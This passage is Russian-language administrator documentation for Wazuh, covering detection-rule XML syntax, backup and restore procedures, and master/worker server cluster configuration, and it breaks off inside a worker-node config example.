
# Правила обнаружения Wazuh 4.14 - синтаксис и логика

Source: https://opennix.org/docs/wazuh/rules-decoders/wazuh-rules/


Правила Wazuh определяют логику обнаружения угроз: какие события считать значимыми, какой уровень серьезности назначить и какие метаданные добавить к алерту. Каждое правило описывается в формате XML и содержит условия срабатывания, описание и классификацию. В этом руководстве подробно рассмотрен синтаксис правил, система уровней, составные правила и инструменты тестирования.

## Структура XML-правила

Каждое правило заключено в элемент `<rule>` внутри контейнера `<group>`:

```xml
<group name="syslog,sshd,">
  <rule id="100001" level="5">
    <decoded_as>sshd</decoded_as>
    <match>Failed password</match>
    <description>SSH authentication failure.</description>
    <mitre>
      <id>T1110</id>
    </mitre>
    <group>authentication_failed,pci_dss_10.2.4,</group>
  </rule>
</group>
```

### Атрибуты элемента rule

| Атрибут | Обязательный | Описание |
|---|---|---|
| `id` | Да | Уникальный числовой идентификатор (1-999999) |
| `level` | Да | Уровень серьезности алерта (0-15) |
| `frequency` | Нет | Количество совпадений для срабатывания |
| `timeframe` | Нет | Временное окно в секундах для `frequency` |
| `ignore` | Нет | Время подавления повторных алертов (секунды) |
| `maxsize` | Нет | Максимальный размер события |
| `noalert` | Нет | Если `1`, правило срабатывает без генерации алерта |
| `overwrite` | Нет | Если `yes`, перезаписывает правило с тем же `id` |

## Элементы условий срабатывания

### Сопоставление с содержимым

**match** - поиск подстроки или паттерна в теле лога:

```xml
<match>Failed password</match>
```

Поддерживает атрибуты `negate="yes"` (инверсия) и `type` (osmatch, osregex, pcre2):

```xml
<match type="pcre2" negate="yes">successful|accepted</match>
```

**regex** - поиск по регулярному выражению:

```xml
<regex>Failed password for (\S+) from (\S+)</regex>
```

**decoded_as** - срабатывание при совпадении с определенным декодером:

```xml
<decoded_as>sshd</decoded_as>
```

**category** - срабатывание по категории декодера:

```xml
<category>firewall</category>
```

### Сопоставление с извлеченными полями

**field** - проверка значения поля, извлеченного декодером:

```xml
<field name="log_type">error</field>
```

**srcip** / **dstip** - сопоставление по IP-адресу источника или назначения (поддерживает CIDR):

```xml
<srcip>192.168.1.0/24</srcip>
<srcip negate="yes">10.0.0.0/8</srcip>
```

**srcport** / **dstport** - порт источника или назначения:

```xml
<dstport>22</dstport>
```

**user** - имя пользователя:

```xml
<user>root</user>
```

**hostname** - имя хоста источника:

```xml
<hostname>web-server-01</hostname>
```

**program_name** - имя программы из заголовка syslog:

```xml
<program_name>sshd</program_name>
```

**action** - действие, извлеченное декодером:

```xml
<action>blocked</action>
```

**status** - статус события:

```xml
<status>403</status>
```

**url** - URL из события:

```xml
<url type="pcre2">/admin|/wp-login\.php</url>
```

**protocol** - протокол транспортного уровня:

```xml
<protocol>TCP</protocol>
```

### Временные фильтры

**time** - диапазон времени суток (формат hh:mm-hh:mm):

```xml
<time>22:00-06:00</time>
```

**weekday** - день недели:

```xml
<weekday>weekend</weekday>
```

### Метаданные и описание

**description** - человекочитаемое описание правила (обязательно):

```xml
<description>Multiple SSH authentication failures from same source.</description>
```

**info** - дополнительная информация:

```xml
<info type="link">https://attack.mitre.org/techniques/T1110/</info>
<info type="text">Possible brute force attack detected.</info>
```

**group** - теги для группировки и фильтрации (через запятую, завершающая запятая обязательна):

```xml
<group>authentication_failed,brute_force,pci_dss_10.2.4,</group>
```

**mitre** - маппинг на техники MITRE ATT&CK:

```xml
<mitre>
  <id>T1110</id>
  <id>T1078</id>
</mitre>
```

**options** - дополнительные флаги поведения:

```xml
<options>no_log</options>
<options>alert_by_email</options>
```

## Классификация уровней правил (0-15)

Wazuh использует 16 уровней серьезности. Корректное назначение уровня критически важно для приоритизации алертов.

| Уровень | Название | Описание |
|---|---|---|
| 0 | Ignored | Событие игнорируется, алерт не генерируется. Используется для подавления ложных срабатываний |
| 2 | System low priority notification | Системные уведомления без значимости для безопасности |
| 3 | Successful/Authorized events | Успешные авторизованные действия (вход, разрешение файрвола) |
| 4 | System low priority error | Ошибки конфигурации, незначительные системные проблемы |
| 5 | User generated error | Ошибки аутентификации (неудачный вход, неверный пароль) |
| 6 | Low relevance attack | Неэффективные атаки, частые срабатывания IDS без реальной угрозы |
| 7 | Bad word matching | События с подозрительными ключевыми словами, но без четкой классификации |
| 8 | First time seen | Действие выполняется впервые (первый вход, новый процесс) |
| 9 | Error from invalid source | Действия с неизвестных или подозрительных источников |
| 10 | Multiple user generated errors | Множественные ошибки аутентификации (возможна brute-force атака) |
| 11 | Integrity checking warning | Изменение бинарных файлов, обнаружение rootkit |
| 12 | High importance event | Критические системные предупреждения, атаки на уровне приложений |
| 13 | Unusual error (high importance) | Паттерны, характерные для методологий атак |
| 14 | High importance security event | Корреляционные алерты, вероятные атаки |
| 15 | Severe attack | Подтвержденная атака, требуется немедленное реагирование. Ложные срабатывания исключены |

Правила с уровнем 12 и выше генерируют уведомления в реальном времени (при настроенной интеграции с системами оповещения).

## Порядок выполнения и перезапись правил

### Порядок загрузки

Wazuh загружает правила в следующем порядке:

1. Стандартные правила из `/var/ossec/ruleset/rules/` (в алфавитном порядке файлов)
2. Пользовательские правила из `/var/ossec/etc/rules/` (включая `local_rules.xml`)

Пользовательские правила обрабатываются после стандартных и могут их переопределять.

### Перезапись стандартных правил

Для изменения поведения стандартного правила используйте атрибут `overwrite`:

```xml
<!-- Перезапись стандартного правила 5710 (изменение уровня) -->
<rule id="5710" level="10" overwrite="yes">
  <decoded_as>sshd</decoded_as>
  <match>illegal user|invalid user</match>
  <description>SSH: attempt to login using a non-existent user.</description>
  <mitre>
    <id>T1110.001</id>
  </mitre>
  <group>authentication_failed,pci_dss_10.2.4,</group>
</rule>
```

Перезаписанное правило должно содержать полное определение, а не только измененные поля.

### Подавление ложных срабатываний

Для подавления ложного срабатывания создайте дочернее правило с уровнем 0:

```xml
<rule id="100100" level="0">
  <if_sid>5710</if_sid>
  <srcip>10.0.0.50</srcip>
  <description>Suppress SSH invalid user alert from monitoring system.</description>
</rule>
```

## Составные правила (корреляция)

Составные правила позволяют обнаруживать паттерны на основе последовательности или частоты событий.

### Связь с родительским правилом (if_sid)

**if_sid** - правило срабатывает только если ранее сработало указанное правило:

```xml
<rule id="100010" level="10">
  <if_sid>5710</if_sid>
  <same_source_ip />
  <description>Multiple SSH invalid user attempts from same source.</description>
</rule>
```

**if_group** - правило срабатывает при совпадении группы:

```xml
<rule id="100011" level="8">
  <if_group>authentication_failed</if_group>
  <match>root</match>
  <description>Authentication failure for root account.</description>
</rule>
```

**if_level** - правило срабатывает при определенном уровне предыдущего события:

```xml
<rule id="100012" level="12">
  <if_level>10</if_level>
  <same_source_ip />
  <description>High severity event followed by another from same source.</description>
</rule>
```

### Правила частоты (frequency + timeframe)

**if_matched_sid** - срабатывает, если указанное правило сработало `frequency` раз за `timeframe` секунд:

```xml
<rule id="100020" level="10" frequency="5" timeframe="120">
  <if_matched_sid>5710</if_matched_sid>
  <same_source_ip />
  <description>SSH brute force: 5 invalid user attempts in 2 minutes.</description>
  <mitre>
    <id>T1110.001</id>
  </mitre>
  <group>brute_force,pci_dss_11.4,</group>
</rule>
```

**if_matched_group** - аналогично, но по группе правил:

```xml
<rule id="100021" level="10" frequency="8" timeframe="300">
  <if_matched_group>authentication_failed</if_matched_group>
  <same_source_ip />
  <description>Multiple authentication failures from same IP in 5 minutes.</description>
</rule>
```

### Элементы корреляции полей

| Элемент | Описание |
|---|---|
| `<same_source_ip />` | IP-адрес источника совпадает в коррелируемых событиях |
| `<different_source_ip />` | IP-адрес источника различается |
| `<same_dst_ip />` | IP-адрес назначения совпадает |
| `<different_dst_ip />` | IP-адрес назначения различается |
| `<same_user />` | Имя пользователя совпадает |
| `<different_user />` | Имя пользователя различается |
| `<same_id />` | Идентификатор совпадает |
| `<same_location />` | Источник лога совпадает |
| `<same_protocol />` | Протокол совпадает |
| `<different_protocol />` | Протокол различается |

## Списки CDB (Constant Database)

Списки CDB позволяют проверять значения полей по внешним справочным таблицам (списки IP-адресов, IoC, разрешенные процессы).

### Формат списка

Файл списка содержит пары ключ:значение (значение необязательно):

```
192.168.1.100:known_scanner
10.0.0.50:monitoring_system
172.16.0.0/12:
```

### Использование в правилах

```xml
<rule id="100030" level="12">
  <if_sid>5710</if_sid>
  <list field="srcip" lookup="address_match_key">etc/lists/malicious-ips</list>
  <description>SSH login attempt from known malicious IP.</description>
</rule>
```

Типы поиска (`lookup`):

| Тип | Описание |
|---|---|
| `match_key` | Точное совпадение ключа |
| `not_match_key` | Ключ отсутствует в списке |
| `address_match_key` | Совпадение IP-адреса (с поддержкой CIDR) |
| `not_address_match_key` | IP-адрес отсутствует в списке |
| `match_key_value` | Совпадение ключа и значения |

### Регистрация списков

Списки должны быть зарегистрированы в `ossec.conf`:

```xml
<ruleset>
  <list>etc/lists/malicious-ips</list>
</ruleset>
```

После добавления или изменения списка перезагрузите менеджер:

```bash
/var/ossec/bin/wazuh-control reload
```

## Стандартный набор правил

Стандартные правила Wazuh организованы по категориям в отдельные файлы.

| Файл | Категория | Примеры правил |
|---|---|---|
| `0015-ossec_rules.xml` | Wazuh internal | Статус агентов, ошибки менеджера |
| `0095-sshd_rules.xml` | SSH | Аутентификация, brute force, invalid user |
| `0100-syslog_rules.xml` | Syslog | Системные события Linux |
| `0200-attack_rules.xml` | Attacks | Обнаружение типовых атак |
| `0210-pam_rules.xml` | PAM | Аутентификация через PAM |
| `0230-postfix_rules.xml` | Mail | Почтовый сервер Postfix |
| `0240-apache_rules.xml` | Apache | Веб-сервер Apache |
| `0250-nginx_rules.xml` | Nginx | Веб-сервер Nginx |
| `0350-amazon_rules.xml` | AWS | CloudTrail, GuardDuty |
| `0470-windows_rules.xml` | Windows | Журнал событий Windows |
| `0575-win-firewall_rules.xml` | Windows Firewall | Windows Defender Firewall |
| `0620-win-security_rules.xml` | Windows Security | Аудит безопасности Windows |
| `0800-sysmon_rules.xml` | Sysmon | Мониторинг процессов Windows |
| `0840-docker_rules.xml` | Docker | События контейнеров |

Полный список файлов правил доступен в `/var/ossec/ruleset/rules/`.

## Маппинг MITRE ATT&CK

Wazuh поддерживает маппинг правил на техники и тактики MITRE ATT&CK. Это позволяет визуализировать покрытие матрицы ATT&CK в дашборде.

```xml
<rule id="100050" level="12">
  <if_sid>5710</if_sid>
  <frequency>10</frequency>
  <timeframe>60</timeframe>
  <same_source_ip />
  <description>SSH brute force attack detected.</description>
  <mitre>
    <id>T1110.001</id>  <!-- Brute Force: Password Guessing -->
  </mitre>
</rule>
```

Идентификаторы техник необходимо верифицировать по официальной [матрице MITRE ATT&CK](https://attack.mitre.org/).

### Группы для стандартов соответствия

Правила могут содержать теги для привязки к стандартам:

```xml
<group>pci_dss_10.2.4,gdpr_IV_32.2,hipaa_164.312.b,nist_800_53_AU.14,tsc_CC6.1,</group>
```

## Тестирование правил с wazuh-logtest

Утилита `wazuh-logtest` позволяет протестировать правила в интерактивном режиме.

### Интерактивный режим

```bash
/var/ossec/bin/wazuh-logtest
```

Введите лог-строку и получите результат анализа:

```
Type one log per line

Mar  5 10:15:01 server sshd[12345]: Failed password for invalid user admin from 192.168.1.100 port 22 ssh2

**Phase 1: Completed pre-decoding.
       full event: 'Mar  5 10:15:01 server sshd[12345]: Failed password for invalid user admin from 192.168.1.100 port 22 ssh2'
       timestamp: 'Mar  5 10:15:01'
       hostname: 'server'
       program_name: 'sshd'

**Phase 2: Completed decoding.
       name: 'sshd'
       parent: 'sshd'
       srcip: '192.168.1.100'
       srcport: '22'
       srcuser: 'admin'

**Phase 3: Completed filtering (rules).
       id: '5710'
       level: '5'
       description: 'sshd: Attempt to login using a non-existent user.'
       groups: '['syslog', 'sshd', 'invalid_login', 'authentication_failed']'
```

### Пакетный режим

Для тестирования набора логов из файла:

```bash
cat test-logs.txt | /var/ossec/bin/wazuh-logtest -q
```

### Проверка конкретного правила

Для проверки, что определенное правило срабатывает на определенный лог, используйте флаг `-U`:

```bash
echo "test log line" | /var/ossec/bin/wazuh-logtest -U 100001:5:sshd
```

Команда вернет код 0, если правило с id=100001, level=5 и декодером sshd сработало.

### Подробный вывод

Для отладки используйте флаг `-v`:

```bash
/var/ossec/bin/wazuh-logtest -v
```

## Диапазоны идентификаторов правил

При создании пользовательских правил используйте идентификаторы из диапазона 100000-999999 для избежания конфликтов со стандартными правилами.

| Диапазон | Назначение |
|---|---|
| 100000-109999 | Общие правила безопасности |
| 110000-119999 | Правила для конкретных приложений |
| 120000-129999 | Мониторинг AI/ML-пайплайнов |
| 147000-147999 | Целостность файлов и YARA |
| 191000-191999 | Эскалация привилегий |

## Контрольный список создания правила

При создании нового правила убедитесь, что выполнены все пункты:

- [ ] Идентификатор правила (`id`) в корректном диапазоне
- [ ] Уровень (`level`) соответствует серьезности события
- [ ] Описание (`description`) понятно и содержит информацию для действий
- [ ] Маппинг MITRE ATT&CK (`mitre/id`) указан и верифицирован
- [ ] Декодер извлекает необходимые поля до срабатывания правила
- [ ] Правило протестировано с `wazuh-logtest`
- [ ] Отсутствует риск катастрофического бэктрекинга в регулярных выражениях
- [ ] Теги групп (`group`) заполнены и завершаются запятой

## Связанные разделы

- [Декодеры Wazuh](/docs/wazuh/rules-decoders/wazuh-decoders/) - извлечение данных из логов
- [Анализ журналов](/docs/wazuh/capabilities/wazuh-log-data-collection/) - сбор и обработка логов
- [Активное реагирование](/docs/wazuh/capabilities/wazuh-active-response/) - действия при срабатывании правил
- [Устранение неполадок](/docs/wazuh/operations/wazuh-troubleshooting/) - диагностика проблем с правилами


---

# Резервное копирование Wazuh - защита данных SIEM

Source: https://opennix.org/docs/wazuh/operations/wazuh-backup/


Резервное копирование Wazuh охватывает конфигурацию компонентов, пользовательские правила и декодеры, ключи агентов, настройки API и индексированные данные. Потеря любого из этих элементов приводит к необходимости полной переконфигурации платформы или утрате исторических данных об инцидентах. В этом руководстве описаны все критические элементы для резервного копирования, методы создания копий и процедуры восстановления.

## Что необходимо копировать

### Wazuh Server (менеджер)

| Элемент | Путь | Описание |
|---|---|---|
| Основная конфигурация | `/var/ossec/etc/ossec.conf` | Конфигурация менеджера |
| Пользовательские правила | `/var/ossec/etc/rules/local_rules.xml` | Правила обнаружения |
| Пользовательские декодеры | `/var/ossec/etc/decoders/local_decoder.xml` | Декодеры для парсинга логов |
| Списки CDB | `/var/ossec/etc/lists/` | Списки IoC и справочные таблицы |
| Общая конфигурация агентов | `/var/ossec/etc/shared/` | Централизованная конфигурация групп агентов |
| Ключи агентов | `/var/ossec/etc/client.keys` | Ключи аутентификации агентов |
| Конфигурация API | `/var/ossec/api/configuration/` | Настройки RESTful API |
| SSL-сертификаты | `/var/ossec/etc/sslmanager.*` | Сертификаты для связи с агентами |
| Хранилище ключей | `/var/ossec/etc/keystore/` | Сохраненные учетные данные |
| Активное реагирование | `/var/ossec/active-response/bin/` | Пользовательские скрипты реагирования |
| Интеграции | `/var/ossec/integrations/` | Пользовательские скрипты интеграций |

### Wazuh Indexer

| Элемент | Путь | Описание |
|---|---|---|
| Конфигурация | `/etc/wazuh-indexer/opensearch.yml` | Основная конфигурация |
| JVM-настройки | `/etc/wazuh-indexer/jvm.options` | Параметры JVM |
| Конфигурация безопасности | `/etc/wazuh-indexer/opensearch-security/` | Роли, пользователи, настройки безопасности |
| SSL-сертификаты | `/etc/wazuh-indexer/*.pem` | TLS-сертификаты |
| Данные индексов | `/var/lib/wazuh-indexer/` | Индексированные данные (алерты, события) |

### Wazuh Dashboard

| Элемент | Путь | Описание |
|---|---|---|
| Конфигурация | `/etc/wazuh-dashboard/opensearch_dashboards.yml` | Основная конфигурация |
| SSL-сертификаты | `/etc/wazuh-dashboard/*.pem` | TLS-сертификаты |
| Конфигурация плагина | `/usr/share/wazuh-dashboard/data/wazuh/config/wazuh.yml` | Настройки плагина Wazuh |

### Filebeat

| Элемент | Путь | Описание |
|---|---|---|
| Конфигурация | `/etc/filebeat/filebeat.yml` | Основная конфигурация |
| Шаблон индекса | `/etc/filebeat/wazuh-template.json` | Шаблон Wazuh для индексатора |
| SSL-сертификаты | `/etc/filebeat/*.pem` | TLS-сертификаты |

## Методы резервного копирования

### Резервное копирование файловой системы

Наиболее простой метод - копирование критических файлов и каталогов.

**Полный бэкап конфигурации менеджера:**

```bash
#!/bin/bash
BACKUP_DIR="/backup/wazuh/$(date +%Y%m%d_%H%M%S)"
mkdir -p "$BACKUP_DIR"

# Менеджер
tar czf "$BACKUP_DIR/manager-config.tar.gz" \
  /var/ossec/etc/ossec.conf \
  /var/ossec/etc/rules/ \
  /var/ossec/etc/decoders/ \
  /var/ossec/etc/lists/ \
  /var/ossec/etc/shared/ \
  /var/ossec/etc/client.keys \
  /var/ossec/etc/sslmanager.* \
  /var/ossec/etc/keystore/ \
  /var/ossec/api/configuration/ \
  /var/ossec/active-response/bin/ \
  /var/ossec/integrations/ \
  2>/dev/null

# Индексатор
tar czf "$BACKUP_DIR/indexer-config.tar.gz" \
  /etc/wazuh-indexer/opensearch.yml \
  /etc/wazuh-indexer/jvm.options \
  /etc/wazuh-indexer/opensearch-security/ \
  /etc/wazuh-indexer/*.pem \
  2>/dev/null

# Dashboard
tar czf "$BACKUP_DIR/dashboard-config.tar.gz" \
  /etc/wazuh-dashboard/opensearch_dashboards.yml \
  /etc/wazuh-dashboard/*.pem \
  /usr/share/wazuh-dashboard/data/wazuh/config/wazuh.yml \
  2>/dev/null

# Filebeat
tar czf "$BACKUP_DIR/filebeat-config.tar.gz" \
  /etc/filebeat/filebeat.yml \
  /etc/filebeat/wazuh-template.json \
  /etc/filebeat/*.pem \
  2>/dev/null

echo "Backup completed: $BACKUP_DIR"
ls -lh "$BACKUP_DIR"
```

### Снимки индексов (Snapshots)

Для резервного копирования индексированных данных (алерты, события) используйте механизм снимков OpenSearch. Этот метод значительно эффективнее копирования файлов данных и поддерживает инкрементальные снимки.

**Настройка репозитория снимков:**

1. Определите путь к репозиторию в конфигурации индексатора (`/etc/wazuh-indexer/opensearch.yml`):

```yaml
path.repo: ["/mnt/snapshots"]
```

2. Создайте каталог и установите права:

```bash
mkdir -p /mnt/snapshots
chown wazuh-indexer:wazuh-indexer /mnt/snapshots
```

3. Перезапустите индексатор:

```bash
systemctl restart wazuh-indexer
```

4. Зарегистрируйте репозиторий:

```bash
curl -sk -u admin:<PASSWORD> \
  -X PUT "https://localhost:9200/_snapshot/wazuh_backup" \
  -H "Content-Type: application/json" \
  -d '{
    "type": "fs",
    "settings": {
      "location": "/mnt/snapshots",
      "compress": true
    }
  }'
```

**Создание снимка:**

```bash
# Снимок всех индексов Wazuh
curl -sk -u admin:<PASSWORD> \
  -X PUT "https://localhost:9200/_snapshot/wazuh_backup/snapshot_$(date +%Y%m%d)" \
  -H "Content-Type: application/json" \
  -d '{
    "indices": "wazuh-alerts-*,wazuh-archives-*,wazuh-monitoring-*,wazuh-statistics-*",
    "ignore_unavailable": true,
    "include_global_state": false
  }'
```

**Проверка статуса снимка:**

```bash
curl -sk -u admin:<PASSWORD> \
  "https://localhost:9200/_snapshot/wazuh_backup/snapshot_$(date +%Y%m%d)?pretty"
```

**Список доступных снимков:**

```bash
curl -sk -u admin:<PASSWORD> \
  "https://localhost:9200/_snapshot/wazuh_backup/_all?pretty"
```

### Резервное копирование через API

Wazuh API позволяет экспортировать конфигурацию и данные программно.

**Экспорт списка агентов:**

```bash
TOKEN=$(curl -sk -u wazuh-wui:<PASSWORD> \
  -X POST "https://localhost:55000/security/user/authenticate?raw=true")

curl -sk -H "Authorization: Bearer $TOKEN" \
  "https://localhost:55000/agents?limit=500" \
  | jq '.data.affected_items' > /backup/wazuh/agents.json
```

**Экспорт конфигурации групп:**

```bash
curl -sk -H "Authorization: Bearer $TOKEN" \
  "https://localhost:55000/groups" \
  | jq '.data.affected_items' > /backup/wazuh/groups.json
```

**Экспорт пользовательских правил:**

```bash
curl -sk -H "Authorization: Bearer $TOKEN" \
  "https://localhost:55000/rules/files?status=custom" \
  | jq '.data.affected_items' > /backup/wazuh/custom-rules.json
```

## Восстановление из резервных копий

### Восстановление конфигурации менеджера

1. Остановите сервис менеджера:

```bash
systemctl stop wazuh-manager
```

2. Распакуйте резервную копию:

```bash
tar xzf /backup/wazuh/20250101_120000/manager-config.tar.gz -C /
```

3. Проверьте конфигурацию:

```bash
/var/ossec/bin/wazuh-control config-test
```

4. Запустите сервис:

```bash
systemctl start wazuh-manager
```

### Восстановление индексов из снимка

1. Закройте целевой индекс (если он существует):

```bash
curl -sk -u admin:<PASSWORD> \
  -X POST "https://localhost:9200/wazuh-alerts-4.x-2025.01.01/_close"
```

2. Восстановите снимок:

```bash
curl -sk -u admin:<PASSWORD> \
  -X POST "https://localhost:9200/_snapshot/wazuh_backup/snapshot_20250101/_restore" \
  -H "Content-Type: application/json" \
  -d '{
    "indices": "wazuh-alerts-*",
    "ignore_unavailable": true,
    "include_global_state": false
  }'
```

3. Проверьте статус восстановления:

```bash
curl -sk -u admin:<PASSWORD> \
  "https://localhost:9200/_cat/recovery?v&active_only=true"
```

### Восстановление конфигурации индексатора

1. Остановите сервис:

```bash
systemctl stop wazuh-indexer
```

2. Распакуйте конфигурацию:

```bash
tar xzf /backup/wazuh/20250101_120000/indexer-config.tar.gz -C /
```

3. Восстановите конфигурацию безопасности:

```bash
systemctl start wazuh-indexer
/usr/share/wazuh-indexer/bin/indexer-security-init.sh
```

## План аварийного восстановления

При полной потере сервера Wazuh выполните следующие шаги:

1. Установите все компоненты Wazuh с нуля (см. [установка](/docs/wazuh/installation/))
2. Остановите все сервисы
3. Восстановите конфигурацию из резервных копий (менеджер, индексатор, Dashboard, Filebeat)
4. Запустите компоненты в штатном порядке: индексатор, менеджер, Filebeat, Dashboard
5. Восстановите данные индексов из снимков
6. Проверьте подключение агентов - при восстановлении `client.keys` агенты подключатся автоматически

Для восстановления в другом окружении (другой IP-адрес):

- Обновите IP-адреса в конфигурации каждого компонента
- Переоформите SSL-сертификаты при необходимости
- Обновите конфигурацию агентов с новым адресом менеджера

## Автоматизация резервного копирования

### Скрипт ежедневного резервного копирования

Создайте скрипт `/usr/local/bin/wazuh-backup.sh`:

```bash
#!/bin/bash
set -euo pipefail

BACKUP_BASE="/backup/wazuh"
RETENTION_DAYS=30
DATE=$(date +%Y%m%d_%H%M%S)
BACKUP_DIR="$BACKUP_BASE/$DATE"
ADMIN_PASS="<PASSWORD>"

mkdir -p "$BACKUP_DIR"

# Конфигурация менеджера
tar czf "$BACKUP_DIR/manager-config.tar.gz" \
  /var/ossec/etc/ossec.conf \
  /var/ossec/etc/rules/ \
  /var/ossec/etc/decoders/ \
  /var/ossec/etc/lists/ \
  /var/ossec/etc/shared/ \
  /var/ossec/etc/client.keys \
  /var/ossec/etc/sslmanager.* \
  /var/ossec/api/configuration/ \
  2>/dev/null || true

# Конфигурация индексатора
tar czf "$BACKUP_DIR/indexer-config.tar.gz" \
  /etc/wazuh-indexer/opensearch.yml \
  /etc/wazuh-indexer/jvm.options \
  /etc/wazuh-indexer/opensearch-security/ \
  2>/dev/null || true

# Снимок индексов
curl -sk -u admin:"$ADMIN_PASS" \
  -X PUT "https://localhost:9200/_snapshot/wazuh_backup/snapshot_$DATE" \
  -H "Content-Type: application/json" \
  -d '{
    "indices": "wazuh-alerts-*,wazuh-archives-*",
    "ignore_unavailable": true,
    "include_global_state": false
  }' > /dev/null 2>&1

# Удаление старых резервных копий
find "$BACKUP_BASE" -maxdepth 1 -type d -mtime +$RETENTION_DAYS -exec rm -rf {} \;

# Удаление старых снимков
for snap in $(curl -sk -u admin:"$ADMIN_PASS" \
  "https://localhost:9200/_snapshot/wazuh_backup/_all" \
  | jq -r '.snapshots[] | select(.start_time < "'$(date -d "-${RETENTION_DAYS} days" +%Y-%m-%dT%H:%M:%S)'") | .snapshot'); do
  curl -sk -u admin:"$ADMIN_PASS" \
    -X DELETE "https://localhost:9200/_snapshot/wazuh_backup/$snap" > /dev/null 2>&1
done

echo "$(date): Backup completed successfully" >> /var/log/wazuh-backup.log
```

### Настройка cron

```bash
chmod +x /usr/local/bin/wazuh-backup.sh

# Ежедневное резервное копирование в 02:00
echo "0 2 * * * root /usr/local/bin/wazuh-backup.sh" > /etc/cron.d/wazuh-backup
```

## Устранение проблем

### Снимок не создается

Проверьте регистрацию репозитория:

```bash
curl -sk -u admin:<PASSWORD> \
  "https://localhost:9200/_snapshot/wazuh_backup?pretty"
```

Убедитесь, что каталог снимков существует и доступен для записи пользователем `wazuh-indexer`.

### Восстановление из снимка завершается ошибкой

Типичная причина - индекс с таким именем уже открыт. Закройте или удалите существующий индекс перед восстановлением:

```bash
curl -sk -u admin:<PASSWORD> \
  -X POST "https://localhost:9200/wazuh-alerts-4.x-2025.01.01/_close"
```

### Агенты не подключаются после восстановления

Проверьте, что файл `client.keys` восстановлен корректно и содержит записи для всех агентов:

```bash
wc -l /var/ossec/etc/client.keys
```

При необходимости повторно зарегистрируйте агенты через [API управления агентами](/docs/wazuh/infrastructure/wazuh-agent-management/).

## Связанные разделы

- [Обновление Wazuh](/docs/wazuh/operations/wazuh-upgrade/) - создание бэкапа перед обновлением
- [Устранение неполадок](/docs/wazuh/operations/wazuh-troubleshooting/) - диагностика проблем после восстановления
- [Кластер индексатора](/docs/wazuh/infrastructure/wazuh-indexer-cluster/) - снимки в кластерной конфигурации


---

# Серверный кластер Wazuh - архитектура и настройка

Source: https://opennix.org/docs/wazuh/infrastructure/wazuh-server-cluster/


Серверный кластер Wazuh объединяет несколько менеджеров для обеспечения горизонтального масштабирования и отказоустойчивости. Кластерная архитектура master/worker позволяет распределить нагрузку анализа событий между узлами, сохраняя единую конфигурацию правил, декодеров и политик безопасности.

## Архитектура кластера

### Роли узлов

Кластер Wazuh использует модель с двумя типами узлов:

**Master (главный узел)** - центральный узел кластера, выполняющий следующие функции:

- Хранение эталонной конфигурации (правила, декодеры, CDB-списки)
- Распространение изменений конфигурации на worker-узлы
- Управление регистрацией и группами агентов
- Прием подключений от worker-узлов для синхронизации
- Обработка запросов REST API, касающихся кластера

**Worker (рабочий узел)** - узел, принимающий события от агентов и выполняющий их анализ:

- Получение событий от назначенных агентов через порт 1514/TCP
- Выполнение декодирования и сопоставления правил
- Передача результатов анализа в индексатор через Filebeat
- Получение обновлений конфигурации от master-узла
- Отправка информации о состоянии агентов на master-узел

В кластере допускается только один master-узел. Количество worker-узлов ограничено только ресурсами инфраструктуры.

### Коммуникация между узлами

Узлы кластера обмениваются данными через порт 1516/TCP с шифрованием. Master-узел прослушивает входящие соединения от worker-узлов. Каждый worker устанавливает постоянное соединение с master-узлом для получения обновлений конфигурации и отправки статусной информации.

```
                           ┌─────────────────┐
                           │   Master Node   │
                           │  (manager_01)   │
                           │   Port 1516     │
                           └────┬───────┬────┘
                      1516/TCP  │       │  1516/TCP
                   ┌────────────┘       └────────────┐
                   ▼                                  ▼
          ┌─────────────────┐                ┌─────────────────┐
          │  Worker Node 1  │                │  Worker Node 2  │
          │  (manager_02)   │                │  (manager_03)   │
          └────┬───────┬────┘                └────┬───────┬────┘
               │       │                          │       │
          1514/TCP  1514/TCP                 1514/TCP  1514/TCP
               │       │                          │       │
          ┌────┘   ┌───┘                     ┌────┘   ┌───┘
          ▼        ▼                          ▼        ▼
       Agent 1  Agent 2                   Agent 3  Agent 4
```

## Конфигурация кластера в ossec.conf

Настройка кластера выполняется в файле `/var/ossec/etc/ossec.conf` внутри блока `<cluster>`. Конфигурация должна быть задана на каждом узле кластера.

### Полный блок конфигурации

```xml
<cluster>
  <name>wazuh</name>
  <node_name>manager_01</node_name>
  <node_type>master</node_type>
  <key>ugdtAnd7Pi9myP7CVts4qZaZQEQcRYZa</key>
  <port>1516</port>
  <bind_addr>0.0.0.0</bind_addr>
  <nodes>
    <node>192.168.1.10</node>
  </nodes>
  <hidden>no</hidden>
  <disabled>no</disabled>
</cluster>
```

### Описание параметров

| Параметр | Описание | Значение по умолчанию | Допустимые значения |
|---|---|---|---|
| `name` | Имя кластера. Все узлы кластера должны использовать одинаковое имя | `wazuh` | Буквенно-цифровая строка |
| `node_name` | Уникальное имя данного узла внутри кластера | `node01` | Произвольная строка, уникальная для каждого узла |
| `node_type` | Роль узла в кластере | `master` | `master`, `worker` |
| `key` | 32-символьный ключ шифрования для межузловой коммуникации. Должен быть идентичным на всех узлах | - | 32 буквенно-цифровых символа |
| `port` | TCP-порт для кластерного взаимодействия | `1516` | 1-65535 |
| `bind_addr` | IP-адрес, на котором узел принимает кластерные соединения | `0.0.0.0` | Валидный IPv4/IPv6-адрес |
| `nodes` | Список IP-адресов или DNS-имен master-узла | - | IP-адреса или FQDN |
| `hidden` | Скрывает информацию об источнике кластера в алертах | `no` | `yes`, `no` |
| `disabled` | Отключает кластерную функциональность | `no` | `yes`, `no` |

### Генерация ключа кластера

Ключ должен содержать ровно 32 буквенно-цифровых символа. Для генерации используйте:

```bash
openssl rand -hex 16
```

Результат будет содержать 32 шестнадцатеричных символа, подходящих для параметра `key`.

### Конфигурация master-узла

```xml
<cluster>
  <name>production-cluster</name>
  <node_name>master-node</node_name>
  <node_type>master</node_type>
  <key>a1b2c3d4e5f6a7b8c9d0e1f2a3b4c5d6</key>
  <port>1516</port>
  <bind_addr>0.0.0.0</bind_addr>
  <nodes>
    <node>192.168.1.10</node>
  </nodes>
  <hidden>no</hidden>
  <disabled>no</disabled>
</cluster>
```

### Конфигурация worker-узла

На worker-узле изменяются параметры `node_name` и `node_type`. В блоке `<nodes>` указывается IP-адрес master-узла:

```xml
<cluster>
  <name>production-cluster</name>
  <node_name>worker-01</node_name>
  <node_type>worker</node_type>
  <key>a1b2c3d4e5f6a7b8c9d0e1f2a3b4c5d6</key>
  <port>1516</port>
  <bind_addr>0.0.0.0</bind_addr>
  <nodes>
    <node>192.168.1.10</node>
  </nodes>
  <hidden>no</hidden>
